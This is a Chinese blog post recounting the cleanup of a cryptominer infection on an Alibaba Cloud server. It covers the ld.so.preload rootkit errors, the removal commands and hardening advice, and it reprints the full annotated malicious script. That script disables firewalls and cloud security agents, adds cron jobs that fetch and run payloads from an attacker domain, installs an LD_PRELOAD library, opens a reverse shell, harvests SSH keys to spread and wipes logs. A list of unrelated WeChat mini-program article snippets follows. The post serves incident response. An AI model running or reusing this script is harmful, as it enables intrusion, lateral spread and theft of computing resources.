记录一次云服务器被劫持下载了挖矿病毒的处理过程

article/2025/9/21 22:01:10

etc被篡改导致系统中病毒

起因:

一年前买的阿里云服务器 , 买了没多久 , 因为没做什么安全措施 , 然后就莫名奇妙服务器被劫持 , 在上面下载了挖矿的一些脚本 ,当时做的处理方式 简单粗暴 直接重置了我的阿里云服务器 , 并且改了密码 , 同时在阿里云的服务器控制台 -> 安全组规则中 关掉了掉了脚本来源的IP地址的出入权限 ,

 之后的一年 都一直风平浪静 ,   知道昨天 , 手贱 ,,,,, 觉得过去很久了 应该没啥了 ,  就删掉了那条规则, 也就是等同于放开了那个IP对本机的访问,,  几个小时后, 就收到了阿里云的各种短信、邮件、app等通知 , 告知我服务器存在恶意脚本执行 , 问题具体通知详情内容如下图 : 

 然后就麻了...是真麻了  ,  又来 , ,,,上图右上角可以看到 ,  阿里云提供了"处理"按钮 , 但我没看到,,,,

后俩看处理提供的方式就是找到恶意脚本, 然后将其关停

问题排查

登录服务器查看问题就出现了 如下情况

 满屏的ERROR 日志 , 不管输入什么命令 , 都回打印这些 , 严重影响了使用

ERROR: ld.so: object '/usr/local/lib/pscan.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/bioset.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/mscan.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/kswapd0.so' from /etc/ld.so.preload cannot be preloaded: ignored.
ERROR: ld.so: object '/usr/local/lib/zrab.so' from /etc/ld.so.preload cannot be preloaded: ignored.

注释:

1.Linux下的.so是基于Linux下的动态链接,其功能和作用类似与windows.dll文件

2.ld.so命令的周期是发生在run-time的,名字叫动态链接器/加载器。它的作用体现在运行时。比如你链接了指定的库,它运行的时候会根据指定的路径去加载指定的库

 服务器控制台的所有监控数据都能看出来服务器这时候不正常 

根据阿里云的提示是有恶意脚本在执行 ,  然后使用  top -c  查看进程  , 发现了高耗内存的一个未知进程, CPU占用率竟然达到了98%

 第一件事就是杀进程,CPU就降了下去。但是过一会就又开始升上来. 确定问题没这么简单之后 , 就开始去查这个文件到底是谁在影响

后通过这边博客 https://my.oschina.net/u/4559667/blog/4996218 看到打开的恶意脚本, 发现脚本一开始就直接kill 掉了能找到的阿里云的所有安全插件 , 而且还安装了定时器

 问题修复

首先, 服务器在执行命令的时候   ,  总会打印的那些日志  , 是因为 /etc/ld.so.preload 该文件指定了若干需要加载的类库, 这时候 我们就需要删掉这个文件 , 或者删掉这个文件里面的内容  , 来保证在运行指令前不去加载各种类库

  • 删掉  /etc/ld.so.preload,或者像该文件内写进空字符串 , 覆盖掉内容 ,  但是我看大部分博客都只说了怎么去删 rm -rf  , 或者 怎么去写  vim , 都对个文件没效果  , 总会提示 权限不足   , 于是使用chmod -R 777  修改读写权限 , 你会这样还是回提示不能改变该文件  ,  当你发现什么命令都对这个文件不管用的时候 执行下命令 chattr -ai /etc/ld.so.preload,再删除 ,就可以了 

rm: cannot remove ‘ld.so.preload’: Permission denied

  • 先处理掉定时器 , 删掉linux下的所有定时器

rm -rf /var/spool/cron/*

从往上把扒出来的一个清理操作比较全的命令 , 都集中起来了 ,  

注意下面这段话!!!!!! 

// 修改完 , 立即对 /etc 进行加锁 , 方式后面的恶意篡改
// 此处命令需要注意 , 锁定etc 之后可能会导致后续有些命令无法正常使用 , 例如
// 服务器被劫持且账号密码泄漏后需修改服务器密码时使用 passwd命令便会受影响 , 小心使用!!
// 如需使用  , 请在使用前  去掉etc 的锁    chattr -i /etc

// 抹掉 该文件中的甲类类库操作
echo "" > /etc/ld.so.preload
// 修改完 , 立即对 /etc 进行加锁 , 方式后面的恶意篡改
// 此处命令需要注意 , 锁定etc 之后可能会导致后续有些命令无法正常使用 , 例如
// 服务器被劫持且账号密码泄漏后需修改服务器密码时使用 passwd命令便会受影响 , 小心使用!!
// 如需使用  , 请在使用前  去掉etc 的锁    chattr -i /etc
chattr +i /etc
// 删除各种定时器
rm -rf /var/spool/cron/*
rm -rf /etc/cron.d/*
// 同理 , 删除结束之后对该文件进行枷锁处理
chattr +i /var/spool/cron/
rm -f /usr/local/lib/lbb.so
chattr +i /usr/local/lib
// 杀掉有关该恶意脚本的进程
killall kworkerds
rm -f /var/tmp/kworkerds*
rm -f /var/tmp/1.so
rm -f /tmp/kworkerds*
rm -f /tmp/1.so
rm -f /var/tmp/wc.conf
rm -f tmp/wc.conf

一定要注意查看你的用户信息,账户安全问题!!!!!!

在这些都处理完的时候 , 寻思去看一眼 , 登录账号等问题吧 , 不看没事 , 一看就有问题 

  1. 清空未知的 ssh key

/etc/.ssh 文件夹下 , 确认 authorized_keys  是中否被加入了位置的密钥

 2 . 清空未知的 IP 配置

 同时需要注意 known_hosts 该文件中是否有被加入多余的IP !!!!!!

  3 . 加强Redis的安全措施

设置 redis 端口权限和账号密码(敲重点!)(至于为什么, 可以送该恶意脚本的来源里扒出来 

 5 . 重新审视各个用户的账号密码安全问题 , root账号修改密码 !!!

恶意脚本

脚本中关键部分 都加上了   ## 黄嚯嚯: 前缀进行注释

#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
setenforce 0 2>/dev/null
ulimit -n 65535
## 黄嚯嚯: 由于LInux原始的防火墙工具iptables过于繁琐,所以ubuntu默认提供了一个基于iptable之上的防火墙工具ufw
## 十七: 此举是为了关掉防火墙
ufw disable
## 黄嚯嚯 : 清除所有规则来暂时停止防火墙: 
## 黄嚯嚯 : (警告:这只适合在没有配置防火墙的环境中,
## 黄嚯嚯 : 如果已经配置过默认规则为deny的环境,此步骤将使系统的所有网络访问中断)
iptables -F
echo "vm.nr_hugepages=$((1168+$(nproc)))" | tee -a /etc/sysctl.conf
sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
echo '0' >/proc/sys/kernel/imi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
## 黄嚯嚯: 查出有碍脚本执行的一些进程全部叉掉  比如其他挖矿脚本 
netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':4444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':7777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':14444'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':5790'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':45700'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':2222'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':9999'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':20580'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '23.94.24.12'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
netstat -antp | grep '134.122.17.13'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
netstat -antp | grep '66.70.218.40'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
netstat -antp | grep '209.141.35.17'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
echo "123"
netstat -antp | grep '119.28.4.91'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
netstat -antp | grep '101.32.73.178'  | awk '{print $7}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
netstat -antp | grep 185.238.250.137 | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep tmate | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep kinsing | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep kdevtmpfsi | awk '{print $7}' | awk  -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep pythonww | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep tcpp | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep c3pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep xmr | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep f2pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep crypto-pool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep t00ls | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep vihansoft | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
netstat -antp | grep mrbpool | awk '{print $7}' | awk -F '[/]' '{print $1}' | xargs -I % kill -9 %
ps -fe | grep '/usr/sbin/sshd' | grep 'sshgood' | grep -v grep  | awk '{print $2}' | sed -e 's/\/.*//g' | xargs -I % kill -9 %
ps aux | grep -a -E "kdevtmpfsi|kinsing|solr|f2pool|tcpp|xmr|tmate|185.238.250.137|c3pool" | awk '{print $2}' | xargs kill -9## 黄嚯嚯: 干掉阿里云安全服务 
der(){if ps aux | grep -i '[a]liyun'; then(wget -q -O - http://update.aegis.aliyun.com/download/uninstall.sh||curl -s http://update.aegis.aliyun.com/download/uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.sh(wget -q -O - http://update.aegis.aliyun.com/download/quartz_uninstall.sh||curl -s http://update.aegis.aliyun.com/download/quartz_uninstall.sh)|bash; lwp-download http://update.aegis.aliyun.com/download/quartz_uninstall.sh /tmp/uninstall.sh; bash /tmp/uninstall.shpkill aliyun-servicerm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-servicerm -rf /usr/local/aegis*systemctl stop aliyun.servicesystemctl disable aliyun.serviceservice bcm-agent stopyum remove bcm-agent -yapt-get remove bcm-agent -y/usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop/usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh removerm -rf /usr/local/cloudmonitorelif ps aux | grep -i '[y]unjing'; then/usr/local/qcloud/stargate/admin/uninstall.sh/usr/local/qcloud/YunJing/uninst.sh/usr/local/qcloud/monitor/barad/admin/uninstall.shfisleep 1echo "DER Uninstalled"
}der
if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi
if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi
if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi
if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi
echo $DLB
url="w.apacheorg.top:1234"
liburl="http://w.apacheorg.top:1234/.libs"cronlow(){cr=$(crontab -l | grep -q $url | wc -l)if [ ${cr} -eq 0 ];thencrontab -r(crontab -l 2>/dev/null; echo "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh")| crontab -elseecho "cronlow skip"fi
}
## 黄嚯嚯: 查杀所有占用cpu超过50%的进程 , 为了后续挖矿脚本运行准备 
kills() {/bin/ps axf -o "pid %cpu command" |grep -v river | awk '{if($2>50.0) print $1}' | while read prociddokill -9 $prociddone
}kills
if [ -w /usr/sbin ]; thenSPATH=/usr/sbin
elseSPATH=/tmp
fi
echo $SPATH## 黄嚯嚯: 开始准备自己的定时任务 , 并且将主要文件解锁 , chattr -i 
echo 'handling download itself ...'
if cat /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1 | grep -q "205.185.113.151\|5.196.247.12\|bash.givemexyz.xyz\|194.156.99.30\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xOTQuMTU2Ljk5LjMwL2QucHkiKS5yZWFkKCkpJw==\|bash.givemexyz.in\|205.185.116.78"
thenchattr -i -a /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1crontab -r
fi
if crontab -l | grep "$url"
thenecho "Cron exists"
elseapt-get install -y cronyum install -y vixie-cron crontabsservice crond startchkconfig --level 35 crond onecho "Cron not found"echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /etc/cron.d/`whoami`echo -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /etc/cron.d/apacheecho -e "30 23 * * * root (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /etc/cron.d/nginxecho -e "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /var/spool/cron/`whoami`mkdir -p /var/spool/cron/crontabsecho -e "30 23 * * * (curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh\n##" > /var/spool/cron/crontabs/`whoami`mkdir -p /etc/cron.hourlyecho "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/cron.hourly/oanacroner1echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/cron.hourly/oanacroner1 | chmod 755 /etc/init.d/downchattr +ai -V /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1 /etc/init.d/down
fi
chattr -i -a /etc/cron.d/`whoami` /etc/cron.d/apache /var/spool/cron/`whoami` /var/spool/cron/crontabs/`whoami` /etc/cron.hourly/oanacroner1
echo "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss )|bash -sh" > /etc/init.d/down | chmod 755 /etc/init.d/down
## 黄嚯嚯: 这是一个很恶毒 的函数 , 闯进你的服务器  , 还要那你家钥匙  , 注意后面的操作 , 拿到服务器信息后 ,  狗东西又将你的信息打包发走了
localgo() {echo "localgo start"myhostip=$(curl -sL icanhazip.com)KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)USERZ=$(echo "root"find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -wv ".ssh")USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq)sshports=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}' | awk '{print $1}' | sed 's/[^0-9]*//g' | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | sed -e "\$a22")userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2- | grep -vw "." | grep -vw "ssh" | sed '/\./d')hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)i=0for user in $userlist; dofor host in $hostlist; dofor key in $keylist; dofor sshp in $sshports; do((i++))if [ "${i}" -eq "20" ]; thensleep 5ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &i=0fi#Wait 5 seconds after every 20 attempts and clean up hanging processeschmod +r $keychmod 400 $keyecho "$user@$host"## 黄嚯嚯:  打包发走ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=3 -i $key $user@$host -p $sshp "(curl -s http://$url/xmss||wget -q -O - http://$url/xmss)|bash -sh; echo $base | base64 -d | bash -; lwp-download http://$url/xms /tmp/xms; bash /tmp/xms; rm -rf /tmp/xms"donedonedonedone# scangogoecho "local done"
}MD5_1_XMR="e5c3720e14a5ea7f678e0a9835d28283"
MD5_2_XMR=`md5sum $SPATH/.libs | awk '{print $1}'`if [ "$SPATH" = "/usr/sbin" ]
thenchattr -ia / /usr/ /usr/local/ /usr/local/lib/ 2>/dev/nullif [ "$MD5_1_XMR" = "$MD5_2_XMR" ]then if [ $(netstat -ant|grep '107.172.214.23:80'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]then$SPATH/.libschattr -ia /etc/ /usr/local/lib/libs.so  /etc/ld.so.preload 2>/dev/nullchattr -ai /etc/ld.so.* 2>/dev/null$DLB /usr/local/lib/libs.so http://$url/libs.soexport LD_PRELOAD=/usr/local/lib/libs.sosed -i 's/\/usr\/local\/lib\/ini.so//' /etc/ld.so.preloadsed -i 's/\/usr\/local\/lib\/libs.so//' /etc/ld.so.preloadecho '/usr/local/lib/libs.so' >> /etc/ld.so.preloadchattr +ai $SPATH/.libs $SPATH/.inis /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/nulllocalgoelif [ $(netstat -ant|grep '198.46.202.146:8899'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]then$DLB $SPATH/.inis http://$url/inischmod +x $SPATH/.inis 2>/dev/nullnohup $SPATH/.inis &nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &elseecho "ok"chattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/nullchattr -ai /etc/ld.so.* 2>/dev/null$DLB /usr/local/lib/libs.so http://$url/libs.sosed -i 's/\/usr\/local\/lib\/ini.so//' /etc/ld.so.preloadsed -i 's/\/usr\/local\/lib\/libs.so//' /etc/ld.so.preloadexport LD_PRELOAD=/usr/local/lib/libs.soecho '/usr/local/lib/libs.so' >> /etc/ld.so.preloadchattr +ai $SPATH/.libs $SPATH/.inis /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/nulllocalgofilocalgoelsechattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/nullchattr -ai /etc/ld.so.* 2>/dev/nullchattr -ai /usr/sbin/.libs 2>/dev/nullchattr -ai /usr/sbin/.inis 2>/dev/nullrm -f $SPATH/.libsrm -f $SPATH/.inis$DLB $SPATH/.libs $liburl$DLB /usr/local/lib/libs.so http://$url/libs.so$DLB $SPATH/.ini http://$url/inisexport LD_PRELOAD=/usr/local/lib/libs.sosed -i 's/\/usr\/local\/lib\/ini.so//' /etc/ld.so.preloadsed -i 's/\/usr\/local\/lib\/libs.so//' /etc/ld.so.preloadecho '/usr/local/lib/libs.so' >> /etc/ld.so.preloadchattr +ia /usr/local/lib/libs.sochattr +ia /usr/local/lib/inis.sochmod +x $SPATH/.libs 2>/dev/nullchmod +x $SPATH/.inis 2>/dev/null$SPATH/.libsnohup $SPATH/.inis 1>/dev/null 2>&1 &nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &chattr +ai $SPATH/.libschattr +ai $SPATH/.inislocalgofi
elseif [ "$MD5_1_XMR" != "$MD5_2_XMR" ]then$SPATH/.libschattr -ai $SPATH/.inis$DLB $SPATH/.libs $liburl$DLB $SPATH/.inis http://$url/inischattr -ia /etc/ /usr/local/lib/libs.so /etc/ld.so.preload 2>/dev/nullchattr -ai /etc/ld.so.* 2>/dev/null$DLB /usr/local/lib/libs.so http://$url/libs.sosed -i 's/\/usr\/local\/lib\/ini.so//' /etc/ld.so.preloadsed -i 's/\/usr\/local\/lib\/libs.so//' /etc/ld.so.preloadecho '/usr/local/lib/libs.so' >> /etc/ld.so.preloadchattr +ia /usr/local/lib/libs.sochmod +x $SPATH/.libs 2>/dev/nullchmod +x $SPATH/.inis 2>/dev/null$SPATH/.libsnohup $SPATH/.inis 1>/dev/null 2>&1 &nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &chattr +ai $SPATH/.libschattr +ai $SPATH/.inislocalgocronlowelsecronlowif [ $(netstat -ant|grep '107.172.214.23:80'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]then$SPATH/.libslocalgoelif [ $(netstat -ant|grep '198.46.202.146:8899'|grep 'ESTABLISHED'|grep -v grep|wc -l) -eq '0' ]thennohup $SPATH/.inis 1>/dev/null 2>&1 &nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &elseecho "ok"fifi
fi## 黄嚯嚯: 抹掉作案现场痕迹 
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
echo 0>~/.bash_history
## 黄嚯嚯: 抹掉历史命令执行记录
history -c 2>/dev/null

关于chattr  命令 和 chmod 命令

1 . 设置有 i 属性的文件,即便是 root 用户,也无法删除和修改数据
2. chattr与chmod这个命令相比,chmod只是改变文件的读写、执行权限,更底层的属性控制是由chattr来改变的
3.只 有拥有root权限,才拥有设置chattr的权限

再次提示 , 如果使用了chattr +i  /etc  会导致即便是root用户也无法修改该文件下的内容!!

例如 上面提到的 赶紧修改账户密码 , 就需要修改 /etc 下的文件,  

所以 , 加了锁之后的文件 , 下次使用前需要重新去掉锁 chattr  -i  /etc


http://chatgpt.dhexx.cn/article/FBsLvnRV.shtml

相关文章

中了挖矿病毒

最近一台服务器运行超级慢,任务管理器查看CPU占用100% ,使用autoruns.exe工具查看到异常任务和进程。 打开文件路径还发现以下文件,config.json , c3a.bat , wina.exe config.json 代码如下: {"api": {"id"…

Powershell 挖矿病毒处理与防范

最近,一种利用Powershell的挖矿病毒在企业网络中频繁爆发,该病毒其利用了WMIPowershell方式进行无文件攻击,并长驻内存进行挖矿。 Powershell的挖矿病毒具备无文件攻击的高级威胁外,还具有两种横向传染机制,分别为WMIE…

记云服务器中挖矿病毒与防范

文章目录 前言大致过程发现过程应对措施与防范 前言 我自己的一台腾讯云服务器还有工作室指导老师的电信云服务器都中过挖矿病毒,其特征都是出现CPU拉满的情况。 腾讯云 电信服务器 大致过程 发现过程 腾讯云 这是我自己的一台1核2G的服务器,带宽1mbps…

小程序 - 分享功能

将小程序分享至好友或者微信群,参考文档页面事件处理函数,小程序分享原来是可以监听成功分享的回调,但是该回调事件被微信禁用了,详情可查看分享功能调整 小程序分享,可通过右上角自带的分享按钮,也可以在.…

实现微信小程序分享功能

一、场景介绍 场景: 用户A分享小程序,用户B点击小程序,即用户A成功邀请新用户,用户A升级为VIP。 思路: 用户A分享小程序,用户B点击小程序,获取用户A提供的参数,并向后台发送请求&a…

uniapp微信小程序使用分享功能

实现效果为如下所示的小程序分享功能: 本项目是一个使用uniapp搭建的微信小程序,上线后点击右上角的…,发现其中的发送给朋友和分享到朋友圈是如下图所示的灰色不能点击: 那么,如何设置微信小程序的分享功能呢&#…

微信小程序分享朋友圈

微信小程序在基础库2.11.3之前没有分享到朋友圈的功能,分享的思路是用 canvas画布生成一张分享图片,保存到相册,用户将带有分享二维码的图片发到朋友圈,其他人可以识别图中二维码的方式进入小程序的指定分享页面。可参考智行火车票…

微信小程序分享页面

微信小程序页面无法分享到朋友圈之内的(只能分享到好朋友或者群中),并且微信小程序无法打开外部链接,只能跳转到小程序内部的pages页面。 问题来了,怎么通过小程序分享页面呢? 首先,这个页面一定…

uniapp微信小程序分享

uniapp微信公众号H5端分享:uniapp微信公众号h5端分享_停留的章小鱼的博客-CSDN博客 一、uniapp微信小程序分享(点击右上角胶囊 分享) 1、全局分享(每个页面胶囊都可以分享) !!!在…

关于微信小程序分享及分享朋友圈、复制链接

1、关于直接隐藏分享及分享朋友圈、复制链接 直接在需要禁用的小程序页面的onShow生命周期里使用 wx.hideShareMenu() 在体验版展示如下(分享和分享朋友圈已禁用,复制链接还在) 正式版才能完全生效,展示如下(分享和复…

微信小程序开启分享给好友及分享朋友圈功能

创建一个空白模板的微信小程序,发布成功后才发现不能分享给好友 及朋友圈 查了下才知道,要有分享功能需要开启。 在小程序首页的里添加以下两个函数 //用户点击右上角分享给好友,要现在分享到好友这个设置menu的两个参数,才可以…

uniapp 微信小程序分享、分享朋友圈功能

页内自定义分享按钮 当页面js上没有添加事件“onShareAppMessage”,右上角‘…’不会出现“转发”事件。 如果有事件,但是没有定义事件内容的话,转发的卡片则是当前页面的截屏信息。 官方文档:https://uniapp.dcloud.io/api/plug…

微信小程序实现分享到朋友圈

2020年7月8日。微信小程序推出分享朋友圈,所以笔者先来试一下,没想到一下搞成了 。。 按照微信官方文档得第一步,我们需要设置允许发给朋友,在小程序得生命周期里面这样写。 首先,把你的小程序基础库,改为…

小程序分享给好友以及分享到朋友圈

前言:小程序分享给好友或者朋友圈仅需我们使用微信自带的API,分享到朋友圈的前提是需要我们允许分享给好友,其次才可以分享到朋友圈,功能简单话不多说直接上官方API链接和代码。 一、分享给好友 wx.onShareAppMessage(function c…

微信小程序 转发 分享功能

官网文档:https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/share.html 第一种情况 点击小程序转发 不加入参数 //转发onShareAppMessage: function() {let users wx.getStorageSync(user);if (res.from button) {}return {title: 转发,…

小程序实现分享朋友圈

有过小程序基础的同学都应该知道,小程序是不能直接分享到朋友圈,起码是自从我写下这边文章起,小程序还没有提供分享朋友圈的api。 但是公司很多时候都会想要传播自己的小程序,从而获取更多的流量,从而分享朋友圈的功能…

微信小程序实现分享至朋友圈的功能

微信小程序实现分享至朋友圈的功能 微信小程序从基础库 2.11.3 开始,可将小程序页面分享到朋友圈。适用于内容型页面的分享,不适用于有较多交互的页面分享。 1 设置分享状态 小程序页面默认不可被分享到朋友圈,开发者需主动设置“分享到朋友…

微信小程序分享功能

由于小程序的分享(微信、头条平台),需要监听页面的onShareAppMessage生命周期,小程序需要在页面声明了此生命周期,点击右上角的"胶囊"才会有分享功能, 而一般情况下,我们希望每个页面都可以分享&#xff0c…

微信小程序之分享功能

微信小程序之分享功能 小程序风口正盛,将小程序作为获客的来源之一实在合适不过,想要让小程序的获客产生裂变,那么从将小程序的数据发送出去势在必行,本文提供以下几种方案作为数据出口,达到老拉新/口碑传播的效果。 …

微信小程序的转发分享功能

文章目录 button组件的open-type"share"app.jsonpages/about/about.wxmlpages/about/about.wxsspages/about/about.js 页面右上角的转发按钮app.jsonpages/about/about.wxmlpages/about/about.wxsspages/about/about.jspages/home/home.wxmlpages/home/home.wxsspage…